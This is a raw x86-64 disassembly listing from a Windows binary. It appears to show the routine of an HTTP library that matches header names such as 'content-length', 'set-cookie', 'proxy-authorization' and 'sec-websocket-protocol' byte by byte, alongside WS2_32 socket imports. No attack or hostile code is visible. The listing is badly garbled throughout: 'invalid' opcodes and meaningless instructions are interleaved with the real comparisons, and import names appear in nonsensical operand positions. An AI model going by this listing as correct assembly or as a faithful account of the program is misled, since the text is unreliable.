add byte [rax + 0xf2d1079], al
test edi, ebp
adc eax, dword [rax]
add byte [rax + 0xf721179], al
test ebp, esp
adc eax, dword [rax]
add byte [rax + 0xf651279], al
test ebx, ebx
adc eax, dword [rax]
add byte [rax + 0xf711379], al
test ecx, edx
adc eax, dword [rax]
add byte [rax + 0xf751479], al
test edi, eax
adc eax, dword [rax]
add byte [rax + 0xf651579], al
test dword [rbp - 0x7fffffed], edi
jns 0x140080535
jae 0x140080530
test dword [rbx - 0x7fffffed], esi
jns 0x140080540
je 0x14008053a
test dword [rcx - 0x4fffffed], ebp
mov dl, reloc.WS2_32.dll_WSAStartup
mov al, 0x48
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x18
mov eax, 0x18
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x61
jns 0x140080543
invalid
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x78
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
test dword [rbx + rdx], edi
invalid
test dword [rbx + rdx], edi
add byte [rax + 0xf660479], al
test dword [rdx + 0x13], esi
add byte [rax], al
cmp byte [rcx + 4], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x77
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x72
jne case.0x14007f7ae.105
jns 0x1400805a6
jne case.0x14007f7ae.105
mov al, 0x2f
jmp 0x140081570
invalid
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6c
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
mov al, 0x18
mov dl, 0x68
mov r8d, recv
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x62
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x6b
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x79
jne case.0x14007f7ae.105
test dword [rsi + 0x12], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x6e
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xf], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x14], 0x72
jne case.0x14007f7ae.105
test eax, esp
adc dword [rax], eax
invalid
cmp byte [rcx + 0x15], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x16], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x6f
jne case.0x14007f7ae.105
test edx, eax
adc dword [rax], eax
invalid
test edx, eax
adc dword [rax], eax
add byte [rax + 0xf6e1879], al
test dword [rax - 0x7fffffef], edi
jns 0x14008073d
cmp byte [rcx + 0x18], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0x19], 0x6c
insb byte [rdi], dx
jne case.0x14007f7ae.105
mov al, 0x35
mov dl, 0x79
mov r8d, 0x1a
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x6f
jne case.0x14007f7ae.105
mov al, 0x2e
mov dl, WSAGetLastError
mov r8d, 7
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x67
jne case.0x14007f7ae.105
mov al, 0x36
mov dl, 0x65
mov r8d, 4
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x6e
jne case.0x14007f7ae.105
invalid
adc dword [rax], eax
invalid
mov al, 0x1f
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8d, 2
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x69
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4161b24a], dh
mov eax, 2
mov al, 0x4a
mov dl, 0x61
mov r8d, 2
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x77
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x77
jne case.0x14007f7ae.105
adc byte [rax], al
invalid
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 4], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
invalid
adc byte [rax], al
invalid
mov ecx, 0x80000010
cmp byte [rcx + 7], 0x68
jne case.0x14007f7ae.105
jns 0x14008082a
push 0x10af850f
add byte [rax], al
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x61
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf740e79], al
test dword [rcx + 0x10], ebp
add byte [rax], al
cmp byte [rcx + 0xe], 0x74
jne case.0x14007f7ae.105
mov al, 0x4c
jmp 0x140081848
sldt word [rax]
cmp byte [rcx + 1], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x78
jne case.0x14007f7ae.105
adc byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf730379], al
cmp byte [rcx + 3], 0x73
jne case.0x14007f7ae.105
test dword [rax + rdx], eax
invalid
test dword [rax + rdx], eax
adc byte [rax], r8b
add byte [rax + 0xf730479], al
test dword [rdx], edi
adc byte [rax], al
add byte [rax + 0xf2d0579], al
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
test dword [rax], esi
adc byte [rax], al
add byte [rax + 0xf700679], al
jo 0x1400808bd
cmp byte [rcx + 6], 0x70
jne case.0x14007f7ae.105
test dword [rsi], esp
adc byte [rax], al
add byte [rax + 0xf720779], al
cmp byte [rcx + 7], 0x72
jne case.0x14007f7ae.105
test dword [rax + rdx], ebx
add byte [rax], al
test dword [rax + rdx], ebx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf690d79], al
test eax, esp
sldt word [rax]
cmp byte [rcx + 0xe], 0x6f
jne case.0x14007f7ae.105
sldt word [rax]
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
sldt word [rax]
mov al, 0x50
jmp fcn.140081807
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
invalid
sldt word [rax]
cmp byte [rcx + 2], 0x74
jne case.0x14007f7ae.105
invalid
sldt word [rax]
invalid
mov ebx, 0x8000000f
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
jns 0x140080924
sub eax, 0xfb1850f
mov cl, recv
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6f
add eax, 0x9d850f6f
sldt word [rax]
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x6f
jns 0x140080945
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0xf6b0779], al
test dword [rcx - 0x7ffffff1], ecx
jns 0x14008095b
cmp byte [rcx + 7], 0x6b
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0xf7f85
add byte [rax + 0x4165b241], dh
mov eax, 9
or dword [rax], eax
add byte [rax], al
mov al, 0x41
mov dl, 0x65
mov r10b, 0x65
mov r8d, 9
or dword [rax], eax
add byte [rax], al
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x66
jne case.0x14007f7ae.105
test dword [rsi + 0xf], esp
add byte [rax], al
cmp byte [rcx + 2], 0x2d
jne case.0x14007f7ae.105
jns 0x140080978
sub eax, 0xf5c850f
add byte [rax], al
test dword [rdi + rcx], ebx
add byte [rax + 0xf750379], al
cmp byte [rcx + 3], 0x75
invalid
cmp byte [rcx + 3], 0x75
jns 0x140080983
jne 0x140080991
test dword [rdx + 0xf], edx
add byte [rax], al
push rdx
sldt word [rax]
cmp byte [rcx + 4], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6d
jne case.0x14007f7ae.105
sldt word [rax]
sldt word [rax]
cmp byte [rcx + 6], 0x6f
jne case.0x14007f7ae.105
test dword [rdx], ebp
sldt word [rax]
cmp byte [rcx + 8], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x66
jne case.0x14007f7ae.105
test dword [rsi], edx
sldt word [rax]
cmp byte [rcx + 0xa], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
test dword [rdx], eax
sldt word [rax]
cmp byte [rcx + 0xc], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x2d
jns case.0x140065142.619
jae 0x1400809ff
test esp, esp
invalid
punpckhwd mm1, qword [rdi]
test edx, ebx
invalid
cmp byte [rcx + 0x10], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax], al
mov al, 0x2b
mov dl, 0x65
mov r8d, setsockopt
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x73
jns 0x140080a26
add dword [rbx + 0xf], esi
jae 0x140080a36
jne case.0x14007f7ae.105
test dword [rbp - 0x7ffffff2], ebp
jns 0x140080a31
cmp byte [rcx + 2], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
test dword [rbx - 0x7ffffff2], esp
jns 0x140080a3c
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
jb 0x140080a4a
test dword [rcx - 0x7ffffff2], ebx
jns 0x140080a47
cdq
invalid
cmp byte [rcx + 4], 0x2d
jne case.0x14007f7ae.105
sub eax, 0xe8f850f
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x61
jne case.0x14007f7ae.105
test dword [rsi], ecx
add byte [rax], al
test dword [rsi], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14007f7ae.105
jnp 0x140080a6a
add byte [rax], al
cmp byte [rcx + 7], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6e
or byte [rsi + 0xf], ch
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test dword [rdi + 0xe], esp
add byte [rax], al
mov al, 0x46
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8d, 9
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6f
jne case.0x14007f7ae.105
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x78
jne case.0x14007f7ae.105
add edi, dword [rax + 0xf]
test dword [rdx], edi
invalid
cmp byte [rcx + 4], 0x79
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x61
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 9], 0x68
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xa], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
jb 0x140080af9
test edx, ebp
or eax, 0x79800000
or al, 0x69
cmp byte [rcx + 0xc], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x7a
jne case.0x14007f7ae.105
add byte [rax], al
jp 0x140080b0d
test esi, edx
or eax, 0x79800000
add byte [rax], al
invalid
jns 0x140080b14
add byte [rax], al
cmp byte [rcx + 0xe], 0x61
jns 0x140080b14
invalid
jne case.0x14007f7ae.105
jns 0x140080b14
invalid
cmp byte [rcx + 0xf], 0x74
jne case.0x14007f7ae.105
or eax, 0x79800000
adc byte [rcx + 0xf], ch
test dword [rax - 0x7ffffff3], edi
jns 0x140080b35
cmp byte [rcx + 0x10], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
mov al, 0x33
mov dl, WSAGetLastError
mov r8d, setsockopt
invalid
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
or eax, 0x79800000
add ah, byte [rbx + 0xf]
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
test dword [rbx - 0x7ffffff3], ecx
jns 0x140080b54
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
sub eax, 0xd81850f
add byte [rax], al
or dword [0x1b9880b5e], 0x850f7704
ja 0x140080b6d
cmp byte [rcx + 4], 0x77
jns 0x140080b5f
add al, 0x77
ja 0x140080b6c
jne case.0x14007f7ae.105
test dword [rdi + 0xd], esi
or eax, 0x79800000
add byte [rax], al
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
add eax, 0x6d850f65
or eax, 0x79800000
invalid
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
jns 0x140080b75
invalid
add byte [rax + 0xf730779], al
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
jae case.0x14007ad61.181
test dword [rcx + 0xd], ebx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
test dword [rdi + 0xd], ecx
add byte [rax], al
test dword [rdi + 0xd], ecx
or rax, 0x79800000
or dword [rbx + 0xf], esp
test dword [rbp + 0xd], eax
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 9], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6b
jns case.0x140079275.271
imul ecx, dword [rdi], 0xffffff85
cmp ecx, dword [0x1b9880ba0]
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
invalid
test dword [rcx], esi
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
or eax, 0x79800000
or al, 0x74
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x63
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x14], 0x6f
jne case.0x14007f7ae.105
or al, 0
invalid
or al, 0
add byte [rax + 0xb10e93e], dh
mov al, 0x3e
jmp 0x140081719
add byte [rax], al
mov al, 0x3e
jmp 0x140081719
cmp byte [rcx + 1], 0x2d
jne case.0x14007f7ae.105
movzx edx, byte [rcx + 2]
cmp edx, 0x64
je 0x140081663
test byte [rbx + 0xa], al
add byte [rax], al
push rcx
add al, byte [rbx - 0x7bf09b06]
or al, byte [r8]
add byte [rax], al
cmp edx, 0x63
jne case.0x14007f7ae.105
test byte [rbx + 0xa], al
add byte [rax], al
cmp edx, 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6f
jns 0x140080c2f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmpsb byte [rsi], byte [rdi]
or al, 0
add byte [rax + 0xf6e0479], al
cmp byte [rcx + 4], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x65
jne case.0x14007f7ae.105
invalid
jns 0x140080c5b
cmp byte [rcx + 4], 0x6e
add al, 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
or al, 0
add byte [rax + 0xf740879], al
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x2d
invalid
test dword [rdx + 0xc], ebp
invalid
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x2d
jne case.0x14007f7ae.105
or al, 0
invalid
or al, 0
add byte [rax + 0xf740a79], al
or dh, byte [rdi + rcx - 0x7b]
invalid
or al, 0
invalid
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
or dh, byte [rdi + rcx - 0x7b]
invalid
cmp byte [rcx + 0xb], 0x79
jne case.0x14007f7ae.105
or edi, dword [rcx + 0xf]
jns 0x140080c8d
test dword [rsi + 0xc], edx
add byte [rax], al
cmp byte [rcx + 0xc], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x2d
jns 0x140080ca8
sub eax, 0xc38850f
add byte [rax], al
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x6f
jne case.0x14007f7ae.105
or al, 0
invalid
or al, 0
or al, 0
add byte [rax + 0xf701079], al
test dword [rsp + rcx], esp
add byte [rax], al
cmp byte [rcx + 0x10], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x69
jne case.0x14007f7ae.105
add byte [rax + 0xf6f1379], al
test dword [rsi], eax
or al, 0
add byte [rax + 0xf6e1479], al
adc al, 0x6e
jne case.0x14007f7ae.105
mov al, 0x4d
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, reloc.WS2_32.dll_setsockopt
add byte [rax], al
invalid
cmp byte [rcx + 0x13], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x14], 0x6e
adc al, 0x6e
jne case.0x14007f7ae.105
mov al, 0x4d
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, reloc.WS2_32.dll_setsockopt
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
mov bh, 0xe1
invalid
jmp case.0x14005f6a2.621
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x65
jns 0x140080d06
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
iretd
cmp byte [rcx + 4], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x72
jne case.0x14007f7ae.105
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 0xf650679], al
invalid
jne case.0x14007f7ae.105
invalid
jns 0x140080d32
cmp byte [rcx + 6], 0x65
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x72
jne case.0x14007f7ae.105
jb 0x140080d3c
test dword [rdi - 0x7ffffff5], esp
jns 0x140080d3d
cmp byte [rcx + 8], 0x2d
jne case.0x14007f7ae.105
invalid
popfq
or eax, dword [rax]
invalid
sub eax, 0xb9d850f
add byte [rax], al
test dword [rbp - 0x7ffffff5], ebx
cmp byte [rcx + 9], 0x70
jns 0x140080d48
jo 0x140080d50
jne case.0x14007f7ae.105
test dword [rbx - 0x7ffffff5], edx
jns 0x140080d53
cmp byte [rcx + 0xa], 0x6f
or ch, byte [rdi + 0xf]
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
test dword [rcx - 0x7ffffff5], ecx
jns 0x140080d5e
invalid
mov dword [rbx], ecx
add byte [rax], al
cmp byte [rcx + 0xb], 0x6c
or ebp, dword [rdi + rcx - 0x7b]
jg 0x140080d63
insb byte [rdi], dx
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xc], 0x69
or al, 0x69
jne case.0x14007f7ae.105
add byte [rax + 0xf630d79], al
test dword [rbx + 0xb], ebp
add byte [rax], al
cmp byte [rcx + 0xd], 0x63
jns 0x140080d74
invalid
jne case.0x14007f7ae.105
mov al, 0x38
mov dl, 0x79
mov r8d, recv
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx + 1], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x62
jne case.0x14007f7ae.105
add byte [rax], al
add ah, byte [rdx + 0xf]
test dword [rax + 0xb], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x69
jne case.0x14007f7ae.105
xor al, 0xb
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14007f7ae.105
test dword [rdx], ebp
or eax, dword [rax]
add byte [rax + 0xf2d0679], al
test dword [rax], esp
or eax, dword [rax]
add byte [rax + 0xf6b0779], al
test dword [rsi], edx
or eax, dword [rax]
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
invalid
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x6b
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
or al, 0xb
add byte [rax], al
or byte [rbp + 0xf], ah
jne case.0x14007f7ae.105
test dword [rbx + rcx], ecx
or al, 0xb
add byte [rax], al
cmp byte [rcx + 9], 0x79
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x2d
jne case.0x14007f7ae.105
test eax, edi
or al, byte [rax]
invalid
test eax, edi
or al, byte [rax]
add byte [rax + 0xf700b79], al
test esi, ebp
or al, byte [rax]
add byte [rax + 0xf690c79], al
jns 0x140080dfa
invalid
invalid
jne case.0x14007f7ae.105
test esp, esp
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
cmp byte [rcx + 0xd], 0x6e
jns 0x140080e05
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test edx, ebx
or al, byte [rax]
add byte [rax + 0x84e934], dh
invalid
test byte [rax], al
mov al, 0x34
add byte [rax], al
add byte [rax + 0xf2d0179], al
cmp byte [rcx + 1], 0x2d
jne case.0x14007f7ae.105
test ecx, ecx
or al, byte [rax]
invalid
add dword [0x14ad1931d], ebp
add byte [rax], al
test ecx, ecx
or al, byte [rax]
add byte [rax + 0xf660279], al
jns 0x140080e15
invalid
invalid
cmp byte [rcx + 2], 0x66
jne case.0x14007f7ae.105
add byte [rax], al
jns 0x140080e15
jne case.0x14007f7ae.105
test dword [rdi - 0x7ffffff6], edi
jns 0x140080e20
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
jb 0x140080e2e
test dword [rbp - 0x7ffffff6], esi
jns 0x140080e2b
mov ch, 0xa
add byte [rax], al
cmp byte [rcx + 4], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
invalid
or al, byte [rax]
add byte [rax + 0xf6d0579], al
insd dword [rdi], dx
jne case.0x14007f7ae.105
invalid
jns 0x140080e41
cmp byte [rcx + 5], 0x6d
jne case.0x14007f7ae.105
movabs eax, dword [0xf6506798000000a]
cmp byte [rcx + 6], 0x65
jne case.0x14007f7ae.105
invalid
xchg edi, eax
or al, byte [rax]
invalid
jne case.0x14007f7ae.105
test dword [rdi - 0x7ffffff6], edx
jns 0x140080e4c
add byte [rax + 0xf2d0779], al
test dword [rbp - 0x7ffffff6], ecx
lea ecx, [rdx]
add byte [rax], al
invalid
jns 0x140080e57
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
lea ecx, [rdx]
add byte [rax], al
sub eax, 0xa8d850f
lea ecx, [rdx]
add byte [rax], al
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x70
jne case.0x14007f7ae.105
jns 0x140080e62
jo 0x140080e6a
test dword [rcx + 0xa], edi
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
or dh, byte [rdi + rcx - 0x7b]
outsd dx, dword [rsi]
or al, byte [rax]
add byte [rax + 0xf690b79], al
or ebp, dword [rcx + 0xf]
cmp byte [rcx + 0xb], 0x69
or ebp, dword [rcx + 0xf]
imul ecx, dword [rdi], 0xa6585
add byte [rax + 0xf6f0c79], al
cmp byte [rcx + 0xc], 0x6f
invalid
test dword [rbx + 0xa], ebx
jne case.0x14007f7ae.105
test dword [rbp + 0xa], esp
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x6e
jns 0x140080e8e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
mov al, 0x4f
mov r10b, reloc.WS2_32.dll_WSAStartup
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, recv
invalid
add byte [rax], al
jmp case.0x14005f6a2.621
or al, 0xe0
invalid
cmp byte [rcx + 1], 0x66
jns 0x140080e9b
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x2d
jne case.0x14007f7ae.105
or al, byte cs:[rax]
invalid
cmp byte [rcx + 3], 0x6e
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6f0479], al
test dword [rdx], ebx
or al, byte [rax]
add byte [rax + 0xf6e0579], al
jns 0x140080ec7
outsb dx, byte [rsi]
invalid
cmp byte [rcx + 4], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jns 0x140080ec7
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test dword [rax], edx
or al, byte [rax]
add byte [rax + 0xf650679], al
invalid
invalid
invalid
test dword [rsi], eax
add byte [rax], al
cmp byte [rcx + 6], 0x65
invalid
jne case.0x14007f7ae.105
or al, byte [rax]
add byte [rax + 0xf2d0779], al
invalid
invalid
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
add byte [rax], al
test esp, edi
or dword [rax], eax
add byte [rax], al
cmp byte [rcx + 8], 0x6d
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x61
invalid
cmp byte [rcx + 8], 0x6d
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x61
jne case.0x14007f7ae.105
test eax, ebp
or dword [rax], eax
invalid
test eax, ebp
or dword [rax], eax
call 0xc0080efb
jns 0x140080efe
add byte [rax + 0xf740a79], al
cmp byte [rcx + 0xa], 0x74
je 0x140080f05
jne case.0x14007f7ae.105
test esi, ebx
or dword [rax], eax
add byte [rax + 0xf630b79], al
jns case.0x140135a1f.244
invalid
invalid
test esp, edx
or dword [rax], eax
fimul word [rcx]
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jns case.0x140135a1f.244
invalid
jne case.0x14007f7ae.105
invalid
jns case.0x140135a1f.244
invalid
add byte [rax + 0x4168b229], dh
mov eax, recv
mov al, 0x29
mov dl, 0x68
invalid
push 0xcb841
add byte [rax], al
mov r8d, recv
jmp case.0x14005f6a2.621
movzx edx, byte [rcx + 1]
add dword [rbx - 0x7bf09e06], eax
cmp edx, 0x61
je 0x1400815f0
iretd
invalid
add byte [rax], al
iretd
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
test dword [rdi - 0x7ffffff7], ebp
jns 0x140080f2f
invalid
add byte [rax], al
cmp byte [rcx + 2], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test dword [rbp - 0x7ffffff7], esp
jns 0x140080f3a
